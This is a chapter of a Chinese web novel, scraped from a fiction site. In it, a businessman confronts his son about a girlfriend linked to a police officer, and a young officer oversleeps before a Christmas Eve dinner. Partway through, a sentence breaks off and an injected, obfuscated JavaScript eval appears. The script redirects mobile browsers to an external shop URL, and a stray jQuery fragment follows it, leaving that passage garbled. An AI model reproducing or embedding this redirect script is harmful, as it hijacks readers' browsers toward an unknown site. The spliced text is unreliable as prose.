文趣网 > 其他小说 > 师姐 > 7. 07骗局
    许是睡得太晚,姜宴睡得不是很安稳。

    闹钟刚响起,他就抬手按掉了。

    时间尚早,天色还未完全亮。灰蒙蒙的光透过窗帘边缘的镂空,在地板上落下浅浅的光斑。

    宿舍里的同事还在沉睡,只是鼾声比起夜间轻了很多。

    姜宴靠着床头慢慢坐直。

    这一晚他睡得浅,困在杂乱的梦里,既记不得,也想不清。混混沌沌的,睡着竟成了种折磨。

    他试着想了想工作,思路倒还算清晰。

    反正睡着也是难受,姜宴顾不得还未褪尽的倦怠,轻手轻脚地爬了起来。

    早起的不止姜宴一个。

    七点半,肖懋打着呵欠坐到了餐桌边,与肖驰贤打了个招呼:“爸,早。”

    肖驰贤抬眼“嗯“了声,随后继续吃面。

    他一贯是这副端肃紧张的模样,又讲究食不言寝不语。

    肖懋不敢与他多话,钻进厨房去盛面吃。

    他们家的早饭是阿姨做的。阿姨做完饭后就外出买菜去了。

    肖懋的妈妈身体不好,一向起得晚。每天这时只有肖懋与肖驰贤坐在桌边。

    肖驰贤注重养生,不但要辰时用餐,更强调吃饭时的“精神内守”。他不喜欢言语,也不看手机电视,更不许旁人如此。

    肖懋喜欢热闹,餐桌却静得如同雪地。他耳边静得发慌,却又不敢拿手机出来刷视频,只好抱着碗吸溜面条,制造出些响动。

    他吸溜得很快,几乎与比他吃得早的肖驰贤同时放下碗。

    “爸,我吃饱了。”肖懋说,“我还有事……”

    “有说两句话的空吗?”

    肖驰贤沉着声音,顶着说正事专用的严肃的表情。

    肖懋知道他有话要说,不敢忤逆,已经起了一半的身又坐回到椅子上。

    “有的。”肖懋应答。

    肖驰贤点点头,对他的回答很满意,继续沉着声问:“你昨晚几点回来的?”

    肖懋心里惊了一惊,在脑中迅速过了一遍凌晨回家的情景。

    那个点家里早就熄了灯,只有窗外有些杂乱的光亮照进来。

    为了不惊扰父母,他没有开灯,也没用手机电筒照明。

    换鞋的时候把腰弯到最低,走路时注意地扶着墙面和柜子,就连开关房门都是将手放到最近,绝对没有发出半点声响。

    肖懋确信父亲应该不知道他具体回来的时间,不过是诈他一诈,故作自信道:“十二点左右吧。”

    这是个算晚归、却又不是特别离谱的时间。

    “是吗?”肖驰贤抬眼,目光掠过肖懋的脸,充满怀疑与警告。

    肖懋最怕他这眼神,当即失了底气:“大概……吧?我记不清了。”

    “哼。”肖驰贤捧起茶杯,轻轻喝了一口,“我看那时候快两点了。”

    这时间与他回来的时间已经十分接近。

    肖懋的心脏瞬间提到了嗓子眼。

    他不知道肖驰贤到哪里知道得如此精准的。

    难道说、是在客厅或者门口装了监控吗?

    肖懋被高高架了起来。他不能就此承认自己说谎了,也不敢否认父亲的意见,只好小声地含糊其辞:“啊……这么晚嘛……”

    “夜里我到厨房喝水时,看到你卧室的门边有亮光,内卫里有水声。玄关摆着你的车钥匙,摸上去还是热的。我想已经能够说明问题了。”

    肖懋愣了愣,想起来那是他应该在内卫洗澡,根本注意不到有人从房门外经过。

    “现在可以跟我说实话了吗?”肖驰贤问,“你昨天去哪儿了?和谁在一起的?”

    洞察一切的目光如针如刺,扎得人浑身疼。

    肖懋不敢再撒谎,低头小声道:“和女朋友在一起。”

    “女朋友。”肖驰贤冷冷低哼了声,“那个卖酒的?”

    肖懋忍不住一哆嗦。

    他知道了。

    他都知道了。

    这么久以来,肖懋一直觉得自己隐瞒得很好,没想到竟是在父亲眼皮子底下掩耳盗铃。

    “别这样说……”肖懋无力地辩驳,“我们家也是做生意的,谁也不比谁高贵。”

    “你还记得我们家是做生意的!”肖驰贤低声喝道,“那你还记得什么人是最不能得罪的吗?”

    “啊?和气生财……谁也不能得罪。”

    肖驰贤噎住了。

    他沉默下来,仔仔细细地打量了番自己的儿子。从肖懋懵懂的眼神里,肖驰贤读出了他真的对实情一无所知。

    那个女人……居然把他儿子骗得团团转。

    肖驰贤心中几多愤恨,又有些许无奈。

    他几乎无声地低叹了口气:“我只说一条,她是赵傲来的前女友。知道那是谁吗?”

    肖懋飞快地摇头,似乎要将无知的责任一同撇出去一样。

    “她卖酒那地派出所的副所长。公家的人!懂吗?”

    “……知道了。”肖懋红了眼睛。

    他瞬间懂了那句不能得罪是什么意思。

    她的工作太不上台面,她的社会关系太复杂。

    她太……不干净。

    肖懋想为吕盛骄辩解几句,可张了好几次嘴,都没能发出声音。

    他心里还盛着满腔的爱意与甜美的回忆。

    无法辩解的不甘让他的面部肌肉快速地抽动起来,好一会儿才停止。

    “所以……我要怎么做?”他低声问。

    “你说呢?”

    肖懋不说话了。

    他知道父亲是要他分手,可这事谈何容易!

    昨晚热辣的触感仍流连在他的躯体之上。

    像这样亲密的接触,这两个月不知经历了多少次,如同上瘾般成了本能反应,一旦空虚寂寞就会惦念,食髓知味,无法自拔。

    就这样让他割舍,他着实难下决心。

    况且……几个小时前还答应过要陪她一晚的。

    他还没想象出吕盛骄失望的模样,就已经先于心不忍。

    他的理智与情感在进行激烈的交战。

    “给我点时间……”肖懋抱住脑袋,“让我再想想。”

    肖驰贤不置可否。他向来说一不二,不喜欢多啰嗦。

    他缓缓站起身,将手背到身后,如一位给患者宣告癌症晚期的医生,用冷静地、平淡的口吻,做出最后的警告:

    “你好自为之。”

    午后,太阳从云层间透出光来,温暖却不灼人。

    金色的光芒透过窗玻璃照进室内,给桌椅盆栽镶上了道金边。

    姜宴走进办公室,把材料丢在桌上。

    他忙了一上午,终于做完了赵傲来交代的所有事情。他简单地把材料批下来的结果汇报了过去,再看了眼手机左上角,发现已经下午两点多了。

    紧绷了许久的神经骤然松下来,姜宴不仅觉得困,也感到了饿。

    从早上到现在,他只吃了碗面,连水都没喝几口。此时胃里饿得反酸,又干又稠的酸味从嗓子眼泛上来,像是沤坏了的一缸醋。

    现在点外卖的话,那晚上也别想吃什么了。

    姜宴记得晚上有聚餐,并不想在这时大吃一顿。于是干脆转身上楼,去宿舍里煮点东西。

    他常年健身,每天总要煮几个鸡蛋。他在宿舍里放了个迷你冰箱,又备了只小电锅。

    冰箱分上下两层,上层冷藏,下层冷冻。他在冷藏里放了一整盒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656897|207015||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    土鸡蛋。

    姜宴到开水房里打了锅水,把鸡蛋放进去煮了十几分钟。随后拔了电源,又换了锅冷水把鸡蛋泡凉,边剥壳边吃起了蛋白。

    吃剩的蛋黄用保鲜袋装好,存到了冰箱冷冻层里去。

    胃里有了东西,总算舒坦了些。

    姜宴简单漱了漱口,躺到床上。

    倦意如山倒。他连闹钟都没来得及定,一闭眼就睡死过去。

    这一觉睡得安恬,他没梦到任何东西。整个人仿佛被埋进了沼泽的泥泞里,被黑暗的、温热的土壤所包裹,忘记了动弹的滋味。

    睡梦中,姜宴迷迷糊糊地听到有音乐声响。他反应不过来,也没有动。

    约莫过了十几秒,音乐还在响,他倒有些转醒了,隐约意识到可能是语音通话的铃声,意识模糊地去摸手机。

    他的眼睛开了半条缝,只看到环境里一片漆黑。

    ……现在几点了?是还没天亮吗?

    姜宴模模糊糊地想着,却在看到微信备注名的那一瞬间清醒了大半。

    是赵傲来打来的!

    意识苏醒的同时,他的记忆也随之恢复过来。

    啊!晚上有饭!

    完全睡糊涂了!

    姜宴一脸惊恐地接通了语音,干涩的声音有些颤抖:“师、师傅。”

    “你在所里吗?”赵傲来问。

    “在的,我在宿舍。”姜宴匆忙抓了抓头发,全当是梳过头了,“我马上下来。”

    他来不及跑到宿舍门边上去开灯,抓起搭在上铺栏杆的裤子与羽绒服,一伸一套,又将两只脚插进了鞋里,边整理衣裤边用力蹬鞋,就算能出门了。

    走到电梯里,他才发现自己穿了一身黑。看起来不像去吃饭,倒像个埋伏在外的刀斧手。

    现在去换身衣服已然来不及。姜宴背过身,不去看电梯里的镜子,随着电梯轿厢到了一楼。

    赵傲来已经等在了大厅。

    他似乎做了很精心的修饰。发型学了叔圈演员的三七分后梳,外着深棕色平驳领100%羊毛大衣,裤子也从万年不变的警裤换成了黑色毛呢西裤。

    见姜宴出电梯,赵傲来跟着转过身来。

    姜宴这才看见他的米色羊绒衫打底外还有一层与外衣同色的双面毛衣V领马甲。

    整个一身看起来成熟又昂贵。

    与赵傲来相比,姜宴潦草得简直像幅草稿。

    看到姜宴的装束,赵傲来忍不住咋舌:“你怎么穿得如此老气。”

    姜宴挠挠头:“忙到下午没赶得上回家换衣服,今晚是有很重要的人要来吗?”

    “倒也不算。”赵傲来轻叹了口气,“走吧,她应该也不会在意你什么模样。”

    “他?”姜宴跟上赵傲来的脚步,“还有其他人吗?”

    “还有一个我的……朋友,你见到就知道了。”

    赵傲来没往地下车库走,反而步行出了派出所。

    姜宴有些疑惑:“我们是要打车?”

    “不打车,走过去。”赵傲来对着马路对面一抬下巴,“就在那边的商业街上。”

    派出所对面有片不小的居民区。为了方便居民生活,物业在小区外围建了些对外的商铺。最初规模不大,只有早餐店、小吃摊和桌球店。

    随着居民越来越多,这里的商铺逐渐被填满。每当入夜,各色的灯牌沿着马路闪着熠熠的光,仿佛一条流动的光河。

    商业街建得很有纵深,两排建筑中间小路交错。各家店铺的圣诞歌曲不绝于耳,店门前挂满圣诞配色的装饰。

    红色、绿色、金色掩映间,整条街仿佛成了棵巨大的圣诞树。

    这样鲜明的提示下,姜宴终于想起来,今晚是平安夜。